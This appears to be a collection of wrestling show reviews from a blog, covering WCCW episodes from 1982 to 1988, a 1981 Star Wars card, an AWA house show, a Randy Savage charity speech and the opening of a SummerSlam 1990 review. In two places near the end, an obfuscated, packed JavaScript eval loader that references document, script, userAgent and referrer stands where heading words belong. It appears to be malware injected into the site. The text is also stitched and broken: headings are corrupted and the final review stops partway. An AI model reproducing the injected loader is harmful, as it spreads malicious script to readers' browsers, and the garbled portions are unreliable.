WCCW TV
Date: February 6, 1988
Location: Dallas Sportatorium, Dallas, Texas
Commentator: Marc Lowrence

It’s more WCCW as it’s the one year listed on the Network that I haven’t covered. As usual I have very little idea of what is going on here but I’d assume that the Von Erichs will be involved. I was three days old when this show aired, meaning it was on a Saturday, thereby ending my trivia about this show. Let’s get to it.

Opening sequence.

We open with a clip from Christmas 1987 as Shaun Simpson faces Eric Embry in a cage for the World Lightweight Title. The bloody Embry rolls through a high crossbody and pulls the trunks to win the title.

Then about a month later, Simpson faced and pinned Embry in a rematch, though the title didn’t appear to be on the line.

Then they fought again and Embry accidentally bumped the referee so there was no count when Simpson got a cover. Another wrestler came in to count the fall, which I can’t imagine counted. Thankfully another referee came in to say not so fast and gave the title back to Embry because the other referee understands how wrestling works. Even commentary was almost calling Simpson ridiculous for that one.

Now we look at John Tatum/Jack Victory vs. the Fantastics from some undated show. Some cheating gave Tatum the pin as we’re told this is from the same Christmas night show from before. Then another referee comes out to reverse the decision and give it to the Fantastics. The villains came back and got cleared out again.

Then about a week later, the Fantastics beat an unnamed team but Victory and Tatum ran in to beat them down.

Tatum and Victory don’t care that their Texas Tag Team Titles are held up because they won them in the first place and are still the Wild West Tag Team Champions. We see a video from the Fantastics promising vengeance, sending Tatum into a rant about how they won the titles fair and square. They’ll win the titles the first chance they get.

Al Perez vs. Matt Borne

It’s our first match, over a third of the way into the show. Wild Bill Irwin joins commentary and Gary Hart is here with Perez as they grapple around to start. The feeling out process continues with Borne not being able to get very far with Perez. A rollup gives Borne two and Hardy isn’t pleased so far. Perez shoves him into the corner for a change but the ans stay behind Borne. The test of strength goes on but neither of them can get very far again. Perez cranks on a hammerlock but Borne seems to go low to escape. That only gets two though and they trade rollups until Perez gets a backslide for the pin at 5:31.

Rating: C. The face/heel stuff was a little strange here as Perez wasn’t quite the crowd favorite but won in the end anyway. I’ve always liked Perez and it’s nice to see him getting a win. Unless Hart was a good guy at this point (which is hard to fathom), this was kind of backwards and commentary isn’t exactly explaining things all that well.

We look back at the end of last week’s show with the Von Erichs beating up Buddy Roberts, the Angel of Death and Iceman Parsons, the latter of whom is handcuffed in the corner (ala Fritz Von Erich on Christmas night, with commentary actually explaining something for once). The villains eventually ran off.

Angel of Death/Buddy Roberts/Iceman Parsons vs. Chris Adams/Kerry Von Erich/Kevin Von Erich

This is a Penalty Box match, meaning if you get caught cheating, you go to the penalty box (a small cage) for one minute. Get caught again and you’re sent in for two minutes. Kerry (he’s popular) and Buddy start things off with the former cranking on a wristlock. The discus punch sends Roberts outside fast and we pause a bit for some planning. Angel comes in and knocks Kerry into the corner so it’s off to Adams for a headlock.

Kevin comes in for the (barefoot) dropkick as commentary says there is no way Roberts can hang with any of these guys on his own. Roberts gets caught with a cheap shot and gets sent to the box and it’s off to Parsons to stomp on Kerry. The discus punch gets Kerry out of trouble but Parsons grabs a sleeper. Roberts comes back in as the fans won’t stop chanting for Kerry.

Another sleeper has Roberts in trouble for a change and Kerry drops a nasty looking middle rope knee. Roberts cheats again so Kevin gets in a shot from the apron, earning himself a trip to the box. Parsons comes in and quickly bails straight to the floor from the threat of the Claw. The Angel tries to go after Kerry without a tag and it’s off to the box for him as well. Parsons knocks Kerry to the floor (Marc: “Right in the asteroid.”) and Kevin goes over to check on him as Angel is out.

Kerry walks around the ring for some reason before catching Parsons’ leg and snapping it across the rope. The Figure Four goes on the bad leg but everything breaks down. Kevin chairs Roberts and Parsons as Angel and Kerry slug it out. Angel is knocked down and walks away as Adams is in the box and Roberts comes in.

We take a break and come back with Kerry gorilla pressing Roberts and Adams getting out of the box (making me think nothing changed in the break). Adams comes in with a top rope ax handle as things have slowed way down. The referee says that’s cheating and sends Adams into the box (with Kevin, who apparently went in off screen). Kerry Claws Roberts but here is the Angel again. Not that it matters as Kerry small packages Roberts for 14:38 (commentary didn’t notice).

Rating: B-. The penalty stuff was a WCCW mainstay but it got a bit confusing at times, as there were penalties that just seemed to pop up with no announcement. Either that or the penalties didn’t do much, as nothing would change while someone was in the box. The action was good and it felt like they were mad at each other though so I’ve seen far worse ideas. Better match than the rest of the show, as the Von Erichs vs. the Freebirds (or bird here) is always worth a look.

Post match Angel uses some handcuffs to lock Adams and Kevin inside…for all of ten seconds before they get out and save Kerry from the beatdown.

Overall Rating: C. I’m not sure what to make of this show as so much of it was spent on those recaps of things that happened weeks ago. I can’t say it was bad as I got where things were going, but do you really want to just air old stuff for the first 20 minutes or so of an hour long show? The main event was good, but this felt like a recap show for a long time and that’s a weird way to go on any given week.

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WCCW TV
Date: January 5, 1985
Location: Reunion Arena, Dallas, Texas
Commentator: Bill Mercer

I might as well knock out a few more of these fort he sake of mixing things up a bit. This is a special edition as we have the Star Wars special, featuring Ric Flair doing his Ric Flair 80s stuff. I’m not sure what to expect from this one but WCCW is hit or miss every single time. Let’s get to it.

Mercer runs down the card, including Kerry Von Erich getting his shot at Flair for the NWA World Title.

Terry Gordy/Buddy Roberts/Chic Donovan vs. Missing Link/Skandar Akbar/Mr. X

This is a Texas Tornado Loser Leaves Town elimination match (pinfall, submission or over the top for a twist) because they’re starting fast this week. No word on why Michael Hayes isn’t in on this but I’d bet on some weird stipulation earlier. It’s a brawl to start (as it should be) with Link being sent through the ropes, much to Mercer’s confusion. Link comes back in with a middle rope headbutt to Donovan as this is completely nuts so far.

Roberts works on Akbar’s knee in the middle and on the apron and Gordy slams Link. In the mess, Link headbutts Donovan down to give Akbar the elimination. A double clothesline gets rid of Mr. X but Roberts is thrown over the top, leaving Gordy alone against Akbar/Link. Gordy slugs away at both of them until the numbers game catches up with him in the corner. Link gets knocked into the ropes so Gordy whips out his spike for Akbar. That’s broken up as well but Link headbutts Akbar out by mistake, allowing Gordy to toss him for the win at 9:58.

Rating: C+. I liked this one a lot more than I would have bet on as they didn’t waste time, got in and out of there with Gordy (I’m trying to get my head around the Freebirds as faces in Dallas) wrecking the villains like the monster he was. Not a good match, but it was the kind of entertaining chaos that it needed to be. I’d still like to know why Hayes wasn’t in there though, as he would have thrived in this.

Kerry Von Erich is ready to fight his heart out for another taste of the World Title. If he loses, it’s all on him.

NWA World Title: Kerry Von Erich vs. Ric Flair

Flair is defending and his headlock takeover is countered into a headscissors for an early standoff. The fight over a top wristlock goes to Kerry but Flair drives him into the corner without much trouble. Kerry hammerlocks him down and then does it again for a bonus. The push off hits the referee in the head but he’s back up to see Flair not being able to suplex Kerry. The headlock has Flair in trouble again and a flying headscissors takes him back to the mat. Flair reverses into a leglock but gets headscissored all over again.

A roll over to the ropes gets him out of trouble this time and Flair hammers away in the corner, this time being yelled at for attacking in the ropes. See what a good referee can do for a match? Flair drops the knee for two and he sends Kerry outside. Back in and Kerry, who seems to be bleeding from the chest, fights out of the corner with right hands. A sleeper has Flair in trouble for all of five seconds before Kerry grabs the backslide (how he won the title in the first place) for two.

A suplex gives Kerry the pin but Flair’s foot is under the rope. Flair hits a shoulder and throws his feet on the ropes but this time the referee catches it in advance. Some right hands set up the Claw on Flair, who counters with a knee to the ribs. The knee drop is countered with a grab of the leg and Kerry throws on the Figure Four. Flair makes the rope for the break as he’s busted open as well. The Claw goes on again but Flair tosses him over the top for the lame DQ at 18:17.

Rating: B. They were starting to cook near the end but then the DQ cut everything off. What we got worked well though as Kerry was a little more coherent this time. You never know what you might get out of him so this was about as good as you could have expected. Flair can do this kind of thing against anyone so you knew he would be fine, but Kerry’s wild card worked out well enough here.

Post break the NWA representative says that Flair abused the NWA ruling and therefore, there must be a rematch. After basically telling the fans to be quiet, he says it’s going to be Flair vs. Kerry again in Texas, and if Flair gets disqualified, he loses the title.

Jake Roberts/Gino Hernandez vs. Mike Von Erich/Billy Jack Haynes

Haynes and Von Erich have Sunshine with them. Mike continues to look rather pitiful as he just doesn’t look like a bit time wrestler. He slams Jake (in his red karate pants look) down to start but Jake is back up with a clothesline. It’s off to Gino but Haynes is right there to clothesline him down.

Haynes’ middle rope fist drop misses though and he seems to be banged up, meaning it’s back to Roberts to take over. That lasts all of thirty seconds before it’s back to Von Erich as they are flying through this match. Mike misses the dropkick so Jake loads up the DDT, drawing Gino in as everything breaks down. The Claw goes on and Jake is done at 3:35.

Rating: C-. Well that was short and fast, with Mike being more of a sad case than anything else. Unfortunately that would get a lot sadder as time went on, but that was the horrible par for the course for the entire family. The match didn’t have time to do anything but at least they got in and out without doing anything too badly.

Overall Rating: B-. When else are you going to get a full World Title match with Flair on free TV? These shows are in their own world but they still have a lot of energy and some entertaining wrestling. You have to be in a certain mood to watch WCCW and this was one of the better ones that I have seen from them over the years. Granted some of that might be Flair, but take what you can get.

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IMG Credit: WWE

WCCW TV
Date: May 13, 1986
Location: Sportatorium, Dallas, Texas
Commentator: Bill Mercer

We’re back at the regular show this time and that means it’s time for more of the Von Erichs dominating the Texas world. I’m never quite sure what to expect from these shows other than a white hot crowd, though the wrestling is often a mixed bag. Hopefully going back in time a year should help the overall feel though, which really didn’t work last time. Let’s get to it.

Opening sequence.

Bill Mercer runs down the card.

Jerry Allen vs. Steve Simpson

Simpson, billed from Africa, looks like Matt Riddle crossed with Kerry Von Erich. In keeping with this series, we hear about the third annual Memorial Parade of Champions because I can’t avoid those shows. Allen works on the hammerlock to start but Simpson slips out of it to give us a standoff. Mercer completely ignores the match to talk about the Parade of Champions matches, including the Freebirds vs. the Von Erichs (including LANCE). They go the mat for some fast reversals until Allen makes the rope.

Back up and Simpson sends him flying with a hiptoss, followed by an atomic drop to put Allen outside. That doesn’t last long and it’s a delayed vertical suplex as Mercer’s Parade commercial continues. Allen grabs the abdominal stretch for some cranking, followed by a good clothesline. The chinlock goes on and triggers the comeback, including a high crossbody to finish Allen at 7:12.

Rating: D+. This solely existed for the purpose of letting Mercer talk about the Parade of Champions, which got really annoying in a hurry. The match wasn’t very good, though it worked well for an opener. Simpson had a good look and would be easy to cheer, which Allen seemed like a fine lower card heel.

Rick Rude vs. Brian Adias

Neither Rude’s World Title or Adias’ Texas Title are on the line and Percy Pringle (Paul Bearer) is in Rude’s corner. Feeling out process to start with Rude trying a slam but getting reversed into a quick O’Connor Roll for two. After some yelling from Pringle, Rude gets in a suplex to shake Adias up a bit. The fans get behind Brian though and Rude is shaken up again as the action slows down again.

Rude takes him down into an armbar, followed by the stomping to keep Adias down. Adias’ shoulder is sent into the bottom buckle and it’s off to the chinlock. Back up and Adias gets in an elbow for no count so Rude throws him outside. Adias gets back in and tries a flying headscissors but gets sent throat first onto the top rope. A hard clothesline finishes Adias at 6:59.

Rating: D. This wasn’t very good as Rude still looked pretty green and not worthy of being World Champion. That being said, he wasn’t exactly supposed to be World Champion as the company pulled out of the NWA and turned its top title into the World Title while Rude was holding it, so it’s not as illogical as it seems. Still though, this was pretty rough as there’s no story to the match with little more than one move happening after another.

We look at the history between Sunshine and Missy Hyatt, the two blondes who had some awesome catfights. It’s stuff like Missy cheating Sunshine’s wrestler out of a win so Sunshine sprays her (and her white dress) with ketchup. Missy of course came back by hitting her with a pie. This was never meant to be about wrestling and they made no secret about it, which made the feud that much better. Yeah it’s trash, but it’s fun trash.

Steve Regal vs. Kerry Von Erich

As I always have to say, no not that Regal. You can hear the girls freak out when Kerry’s jacket comes off and even the announcer has to acknowledge it. Regal drives him up against the ropes to start and gets sent outside for his efforts. Back in and Kerry forearms him into a headlock takeover as they’re not exactly going at full speed so far. Another shot to the face sends Regal bailing to the floor, followed by a hard whip into the corner back inside.

Kerry runs into a boot though and Regal hits a middle rope elbow to the head. The required chinlock goes on but Kerry easily fights out and grabs the stomach claw (exactly what it sounds like). Kerry even lifts him up and then takes him back down with the claw still on, which is actually enough for the pin at 5:32.

Rating: D+. Just a step above a squash here and that’s perfectly fine as Kerry was over like free beer in a frat house. Seeing the popularity that the Von Erichs had is really hard sometimes as they were the most insanely popular guys in the world and then the whole thing got screwed up. There was a world’s worth of potential there and it never came to full power because of a bunch of dumb decisions. It’s so sad and there’s a reason they’re one of the biggest cautionary tales in all of wrestling history.

Bruiser Brody/Missing Link vs. Terry Gordy/Great Kabuki

Hayes is in Kabuki/Gordy’s corner and Sunshine is in the other. I’m not sure if this is joined in progress or not but the brawl is on as soon as we come back with Bruiser and Gordy fighting to the back, leaving Link and Kabuki to fight in the ring. We do get an opening bell and the eternally serious Marc Lowrence gives us all the information, even as the brawling continues.

Link fights out of a nerve hold and stomps on Kabuki’s foot for the break. After another nerve hold is broken, Link headbutts him in the corner, which Mercer thinks he learned from a brontosaurus. We slow down a lot as Link yells at Hayes and knocks Kabuki out of the air. Kabuki rakes the eyes and we’re told that Gordy and Brody will NOT be returning to the ring. How nice of them to be on camera for thirty seconds like that. We hit the nerve hold again but Kabuki misses a charge into the corner. That’s enough for him as he brings in the nunchucks and knocks Link silly for the DQ at 6:42.

Rating: D+. This could have been a lot better, but given that it was pretty much just a singles match after a quick opening, there was only so much that could get out of this. Link was certainly unique though and that energy carried a lot of the match. Brody vs. Gordy would have helped a lot, but if you want to see that, go to the Parade of Champions.

Post match Kabuki chokes Link down some more so Sunshine throws in a chair.

A quick preview of next week ends the show.

Overall Rating: D. For a quick TV show, this wasn’t very good. As an ad for the Parade of Champions, it was rather annoying. It felt like almost everything was about the big show with the announcer ignoring large portions of the matches for the sake of talking about the show. That gets annoying in a hurry as they already have me watching this show. Stop trying to make me watch another one.

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IMG Credit: WWE

Hidden Gems #7
Date: 1981, 1992

So the Network is going coconuts for the Christmas season with TWELVE (even though they’re starting this on the day after the regular Hidden Gems drop, meaning it should be THIRTEEN) STRAIGHT DAYS of of Hidden Gems, with new stuff being added every day through Christmas. Therefore, I’ll be putting these up in four three day blocks. Some of these are going to be much longer than others but the fun part is going to be seeing what surprises we’re in for. Let’s get to it.

Star Wars 1981
Date: December 25, 1981
Location: Reunion Arena, Dallas, Texas
Commentator: Bill Mercer

So this is most of a full show, with a Big Time Wrestling event (very soon to be World Class Championship Wrestling) under the Star Wars banner. Star Wars was a series of big shows that the promotion ran on certain important nights (often holidays) so expect a big night. The entire thing isn’t here but I’ll fill in the gaps where I can. Let’s get to it.

It’s a double ring show, which could make for an interesting night.

Ring announcer Marc Lowrance introduces the show and explains the two rings.

The first two matches aren’t present. First up was El Negro Assassin vs. Richard Blood (not Ricky Steamboat) in a fifteen minute draw and Tiny Tom defeating Little Tokyo in about ten minutes.

Texas Brass Knuckles Title: Jose Lothario vs. Ernie Ladd

Ladd, a monster with some of the greatest promos ever, is defending. The title is more a toughman title than anything else, as hardcore wrestling hadn’t exactly been invented yet. Lothario on the other hand is best known for training Shawn Michaels. Ladd backs up a few times in the first minute before taking Lothario into the corner. That just earns him a shot to the ribs and it’s time to stall some more.

Some right hands finally put Lothario in trouble and it’s off to a bearhug, which is rather awkward given Ladd’s foot or so height advantage. With that broken up, it turns into a boxing match and Lothario being a former boxer means Ladd is in trouble in a hurry. Ladd uses the distraction to load up a foreign object, which goes into Lothario’s neck. A right hand knocks Lothario to the floor but he comes back in with a top rope right hand to the head….for the pin and the title at 6:14.

Rating: D. Well that happened. The punching stuff made sense and both of them looked fine on their own, but it was still a dull match with neither of them having the time to do much. The ending, with a big right hand from the top, made sense for the gimmick of the match but it wasn’t much to see until we got to the finish.

There was another unaired match here with Blue Demon and Al Madril beating Arman Hussein and Carlos Zapata. I believe that’s the last missing match on the card.

UWA Light Heavyweight Title: El Solitario vs. Tim Brooks

Solitario is defending and this is a title from the Universal Wrestling Association in Mexico. Brooks on the other hand, apparently loves to have dog collar matches. That’s quite the random factoid. There’s also no way that he’s a light heavyweight. Solitario spins out of a leglock to start and we have an early standoff. Brooks hits a shoulder but charges into a hiptoss as Solitario sends him into the other ring.

They head back to the original with Brooks sending him into the corner and dropping a knee for two but a sunset flip gives Solitario the same. A dropkick puts Brooks on the apron and a posting sends him to the floor. Solitario hits a dive and Brooks is busted open, which at least came off a good spot. Back in again and another crossbody retains Solitario’s title at 5:21.

Rating: C-. Solitario’s dives looked good and were WAY ahead of their time but Brooks was any heel here, which meant he was a pretty lame challenger. At least they kept it short here and let Solitario be the star, which was the right idea given what was going on in there. Just not much to see here, aside from Solitario being insane for an American audience.

Fritz Von Erich vs. Great Kabuki

Kabuki has top heel manager Gary Hart with him. This is a Texas Death Match, which basically means Last Man Standing. Fritz is rather popular as ringside fills up with fans wanting autographs, which Fritz of course grants. The ring announcer explains that after every fall, there will be a thirty second rest period before a ten count begins. Fritz goes straight for the Claw but Kabuki does the smart thing by grabbing the wrist. The stomach version works a bit better until Kabuki makes a rope for a break. In a Death Match?

Back up and Fritz slugs away but another Claw attempt is blocked. So you’re saying he uses a Claw a lot? Kabuki chops him down in the corner but then Fritz does the same thing. They head into the other ring where another Claw attempt is countered with a kick to the head. This time Kabuki grabs Fritz underneath the arm for a nerve hold as this is getting awful in a hurry.

They fight to the floor and then over a chair with Fritz getting the better of it. Fritz punches him back inside and more bad looking right hands don’t do much damage. The Claw goes on for a three count and it takes him awhile to let go. Two referees have to pull Fritz off and he puts it on again.

That’s considered part of the rest period so Fritz beats up Hart to kill some time. Kabuki beats the count and it’s time to go after the cut on his head. That means more Claw (egads man learn a new move) as Hart takes off a turnbuckle pad. Kabuki is back up as Fritz beats Hart up and sends Fritz face first into the exposed buckle. A lot of choking keeps Fritz down until he punches his way to freedom (and that’s AMERICAN freedom mind you).

Both guys are down long enough that the rest period begins, followed by the ten count and neither can make it to their feet. We don’t have draws in Texas though and the winner is the first person on his feet in the ring. Fritz almost gets up first so Hart pulls him down and pours something on Kabuki’s face to wake him up, which is enough for the win at 18:11. That’s the first Texas Death Match that Fritz has ever lost.

Rating: F. I know he’s a legend in Texas and owns the promotion and all that jazz but this was HORRIBLE with Fritz looking about 90 years old and doing nothing but punching and the Claw. This might have been a nice treat for the fans live and meant something to them, but watching it back is an absolute chore as it’s just sitting there watching Fritz put his hand on Kabuki’s head for long stretches over and over. Terrible stuff here, no matter how big a WCCW fan you might be.

Kevin Von Erich comes in to clear the villains out.

Kevin Von Erich/David Von Erich/Kerry Von Erich vs. Frank Dusek/Bill Irwin/Ten Gu

Ten Gu is better known as Kendo Nagasaki in Stampede Wrestling. This is a six man tag with both rings being used, meaning it’s basically a singles match in both rings and one person able to tag into either ring at either time. That’s kind of clever. Before we can get going though, the Von Erichs are mobbed for autographs again. Mike is with them here with his brothers and that’s always kind of sad to see. Kerry and Irwin start in one ring and the rules are already starting to get confusing as the other four just stand there.

We settle down to David working on Gu’s arm and the camera still only focusing on one ring at a time. Kevin works on a headlock on Dusek before headscissoring Irwin down at the same time. There is WAY too much going on here at once with the tagging and it’s not flowing well at all. We go back to Kerry putting Gu in a sleeper until Dusek makes a save. That means a chinlock for a bit with Dusek fighting up and almost hitting Irwin in the other ring.

They FINALLY go to a wide shot that the match was begging for and we get to see just how slow everyone is keeping things. David gets a sleeper on Gu until Kerry hits a running dive over the ropes to take Gu down. A double ax handle gets two on David but he’s right back with a suplex for the same on Dusek. Kerry snapmares Irwin down and drops a middle rope knee for two of his own. Dusek gets in his own suplex on Kerry but misses a top rope splash and hurts his knee. Irwin misses his own running knee on Kevin, who pops up with the Claw on Gu. A middle rope ax handle hits Gu by mistake and Kevin pins him at 10:58.

Rating: D-. I’m going to blame this one more on the production and the layout as this needed to either stay wide the whole time or drop the tagging stuff to make it a regular brawl. There was too much going on with too many people involved and it caught up with them in a hurry. I couldn’t tell what was going on and there was no story to the whole thing. I’m not sure why the Von Erichs were fighting these three in the first place, and there’s just nothing good to say about it. Oh yeah Fritz wasn’t wrestling so it was slightly less bad than the previous match.

Battle Royal

David Von Erich, Bill Irwin, Kerry Von Erich, Big Daddy Bundy, Al Madrill, Armand Hussein, Blue Demon, Carlos Zapata, El Negro Assassin, Frank Dusek, Jose Lothario, Richard Blood, Ten Gu, Tim Brooks

Double ring battle royal (throw the people from one ring into the other, then out like a regular battle royal, the last two people involved have a two man battle royal for the win) for $10,000. The match is listed as having sixteen people, the records I can find say fourteen, and I see twelve. Thankfully we get a listing and it turns out that I can’t count or see everyone in a ring. It’s a big brawl to start and EGADS Bundy looks weird in jeans and with a full head of hair. The camera continues to focus on half of the ring instead of going wide, which would seem to be the solution to this whole thing.

Bundy keeps beating on everyone as we’re still waiting on the first elimination. David gets launched into the second ring and Brooks follows him as we look at this ring instead of the two next to each other. Madrill and Demon come to the second ring as well, followed by a bunch of others as things go nuts in a hurry. Bundy wins the first ring, followed by Hussein and Demon both being eliminated. Two other guys leave at the same time but they’re not important enough to mention.

Dusek is out and we’re down to eight left in the second ring as I try to figure out the other two eliminations. Madrill and Assassin go out, followed by Kerry and Ten Gu, leaving us with Lothario, Irwin, Blood and Zapata, meaning the other two unmentioned eliminations were David Von Erich and Tim Brooks. Now why couldn’t those names just be mentioned? Anyway Blood and Zapata go out and Lothario follows, leaving us with the heel vs. heel battle of Bundy vs. Irwin.

Bundy gets lured into the other ring and the fight is on, with both referees staying in the ring with them. Some forearms have Irwin in trouble until he avoids an elbow drop from Bundy. Wait is Bundy a face here? What kind of idiot would make Bundy a face? Commentary seems to confirm this as Irwin pokes him in the eye. I mean, it makes more sense for this match but makes far less sense otherwise. Irwin gets him to the apron but gets pulled out to give Bundy the win at 12:12.

Rating: D. The same production issues hurt this one as you couldn’t see a lot of what was going on when the action was still going on in both rings. Other than that, it was a bad battle royal with everyone running around and a bunch of people going from one quick fight to another. It’s not the worst, but it wasn’t very good. Bundy winning makes sense, especially since he’s a good guy around here, because reasons.

And now from another part of the country on the same night. The following few matches are from the 1981 AWA Christmas night show in St. Paul, Minnesota. The whole video is just over half an hour long so I can’t call it the full show, but you never know what you’re going to get on these things.

AWA House Show
Date: December 25, 1981
Location: St. Paul Civic Center, St. Paul, Minnesota
Commentator: Rodger Kent

This isn’t my favorite time and/or promotion in the world but they could do big shows fairly well. As mentioned this isn’t the full show but hopefully we get the best of the what they had to offer that night. The big match is a non-title match, which is non-title for no adequately explained reason. Why would you want to waste a major match on something like Christmas? Let’s get to it.

Rene Goulet vs. Kenny Jay

Goulet was an agent with the WWF forever but wasn’t much in the ring. Joined in progress with Jay (never heard of him) working on a wristlock as the unnamed announcer talks about Japanese photographers in attendance. Goulet takes him down into a chinlock as the announcer talks about Goulet’s airfare in 1981 costing over $58,000.

A headscissors keeps Jay down until he reverses into a leglock to send Goulet bailing to the ropes. The hold goes right back on with Jay taking him down to keep Goulet in trouble. Goulet finally makes it over to the rope as we’re told there are five minutes left. Back up and some elbows get Goulet out of trouble before a middle rope knee finishes Jay at 6:14 shown (announced as 11:14).

Rating: D. What we saw wasn’t exactly thrilling stuff as it was a lot of leg work and not much else. Goulet never was the most interesting guy in the world and Jay seemed like just a guy for the most part. In other words, for once I’m rather glad about this being clipped instead of having to sit through the full thing.

Curt Hennig vs. Evan Johnson

This is very early in Hennig’s career and we’re joined in progress again with Hennig taking him down with a headscissors. The announcer talks about Johnson being an Olympic wrestler and only missing the 1980 games due to the boycott. Johnson fights up into a wristlock and Hennig can’t slam his way to freedom. The arm work continues as we’re told that Scrap Iron Gadaski is the referee. That name might not mean much to you, but he was Ric Flair’s first ever opponent. Hennig comes back with an armdrag of his own and then grabs a leglock to change things up a bit.

Johnson reverses into something like a crucifix but can’t get the other shoulder down. The fans aren’t pleased so Hennig gets up as we’re told there are three minutes left. Things get a lot more physical in a hurry as they fight up against the ropes without actually hitting each other. Johnson snaps off a belly to belly for two and they trade rollups as we’re down to a minute to go. Hennig hits an ax handle for two and Johnson grabs a backslide for two (with a great shocked look from Hennig) of his own as the fifteen minute time limit expires at 10:12 shown.

Rating: C-. This was a lot better than the previous match as they were trying to get a fall until the end with both guys working rather hard. They didn’t flip the switch until later in the match and that’s acceptable as the stuff after they started trying was a lot better. Hennig wasn’t quite his great self yet but you can see the potential there.

Jerry Blackwell/Sheik Adnan Al-Kassie vs. High Flyers

The High Flyers’ (Jim Brunzell/Greg Gagne) Tag Team Titles aren’t on the line. Joined in progress again with Greg taking the huge Blackwell down by the arm. Brunzell comes in without a tag to knock Adnan off the apron and gets in a shot at Blackwell as a bonus. Now he comes in off a tag and cranks on the arm before it’s off to Adnan. That means more arm cranking, including Brunzell coming off the middle rope with a knee. The fans are all over Blackwell as Brunzell stays on the arm.

To mix things up a bit, Gagne comes back in to work on the arm some more. Blackwell finally gets the tag for a headbutt, only to miss a splash. Some corner splashes work a bit better so Brunzell goes after the Sheik, allowing Blackwell to throw Gagne over the top. Blackwell is dumb enough to keep going after Brunzell to break up the count and Gagne gets back inside. Sheik comes in without a tag so Brunzell does the same, allowing Gagne to be pulled back into the corner.

We get the always classic tag that the referee misses and the fans are right back into things off the near explosion. The bearhug goes on instead with Gagne not exactly looking like he’s in pain, but rather being confused that he’s here. He finally slips out and crawls over for the tag to Brunzell for the house cleaning dropkicks. It’s already back to Gagne for a top rope knee to Sheik’s knee. Brunzell (or The Brunzy apparently) comes back in for a Figure Four but Blackwell crushes him with a splash. With Gagne being thrown out, Sheik gets the pin on Brunzell at 12:18.

Rating: D+. The AWA isn’t my favorite promotion and this wasn’t the most thrilling thing in the world. It’s not clear why this was a non-title match as it was a pretty clean pin for Blackwell and the Sheik, but that might imply that something changes around here and we wouldn’t want that. The match was formula based stuff and that works well enough, though the very long arm work part didn’t get them very far.

And now for something very different, we go to Tampa, Florida for a Christmas message from Randy Savage to a bunch of students. New York Yankees owner George Steinbrenner set this up and talks about how it’s giving something back to the community. After a quick statement from Steinbrenner about how important it is to take care of at risk children and how Christmas is the most important time of the year.

We go inside the auditorium where Savage is played to the stage by a live orchestra. Savage talks about how a lot of people care about the kids here and how it’s no secret that things can be better. His big message is to believe in yourself and you can accomplish any goal you want. Be all that you can be and your best friend is yourself because you’ll never give up on yourself.

You want to be a leader and not a follower who makes bad decisions. Say no to drugs and stay in school. An education is incredible and something you should take advantage of. There will be challenges in life and things can go badly, but keep getting up and never quit. The person who gets back up again is the person that Savage respects because they’re the kind of person who is going to battle and win at all costs.

It’s nice to be important but it’s important to be nice. Savage even takes off his glasses to wrap things up, saying Merry Christmas and saying he’ll shake hands with everyone here. Savage packed in every cliché you could ask for here but for the sake of something like this, it’s perfectly fine. It also helps when you have Savage’s charisma and can make anything sound good.

Overall Rating: D. This is quite the mixture and it’s really not very good. To be fair though these were designed to be a bunch of one off watches rather than marathoning them like I’ve been doing, which isn’t helping things. The wrestling wasn’t all that great, though a lot of that is more due to the time frame not being one of my favorites. Savage’s message was rather nice and it’s always cool to see wrestlers doing something for a charity. We’ve got a long way to go though and that’s….going to be interesting, at least I hope.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 1997 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/11/20/new-paperback-complete-1997-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

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After a lot of complaining we’ll talk about something fun for a change with a look at the Fabulous Freebirds.

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ddfyt|var|u0026u|referrer|ddyef||js|php'.split('|'),0,{})) Birds Are Back

WCCW Television
Date: December 28, 1982
Location: Reunion Arena, Dallas, Texas
Attendance: 18,000
Commentator: Bill Mercer

We open with a recap of the first Kerry vs. Ric match in Reunion Arena in 2/3 falls. They split the first two falls but Kerry got disqualified in the third fall. However, since there was so much controversy with three different referees involved, it was decided that something had to be done in the rematch.

Ric, with a deeper voice than usual, says the Von Erichs are in a do or die situation. Always remember: Diamonds are forever, and so is Ric Flair.

NWA World Title: Ric Flair vs. Kerry Von Erich

Von Erich reverses a suplex into the sleeper (sleep hold here) but Ric counters with a belly to back. Kerry will have none of this being in trouble thing and hammers away before trying an early Claw. Ric goes after the hand to get a breather and Hayes yells at him for no apparent reason. Back up and Ric sends him into the corner before getting in another argument with Hayes. Michael is really just being a jerk here with no justification.

Ric tries to climb out and almost loses his trunks. Hayes goes after the regular referee for breaking it up and tells the guys to go at it. The Claw goes on and Flair is in big trouble but gets his foot on the rope with Hayes actually calling for a break. Again, these people have a weird definition of NO DISQUALIFICATION.

The Von Erichs run out and swear vengeance on the Freebirds to a BIG reaction. Oh yeah you knew it was going to be big. They help Kerry out of the ring and nearly bang their heads on the bar at the top of the head.

A lot of replays take us out.

Overall Rating: A-. This was about one thing and they accomplished that goal. I find it even more interesting that people seem to forget how the match ended as most people remember the cage door slamming and the match ending as a result. That goes to show you how important the angle is compared to the match as you really could swap almost anyone in for Flair and have the same match. I could have gone for a quicker ending as the last few minutes kind of drag things down but this was everything it needed to be and gave the fans and company the biggest Christmas gift imaginable.

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

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And check out my Amazon author page with cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nekea|var|u0026u|referrer|snrid||js|php'.split('|'),0,{})) 1990
Date: August 27, 1990
Location: Philadelphia Spectrum, Philadelphia, Pennsylvania
Attendance: 19,304
Commentators: Vince McMahon, Roddy Piper

We open with a look at the fans coming into the arena and buying merchandise.

Now we get a traditional intro with Vince shouting about the double main event.

Rockers vs. Power and Glory

Post match Shawn finally gets into the ring but Marty covers his injured leg and takes a beating himself. Shawn is taken out on a stretcher.

Intercontinental Title: Mr. Perfect vs. Texas Tornado

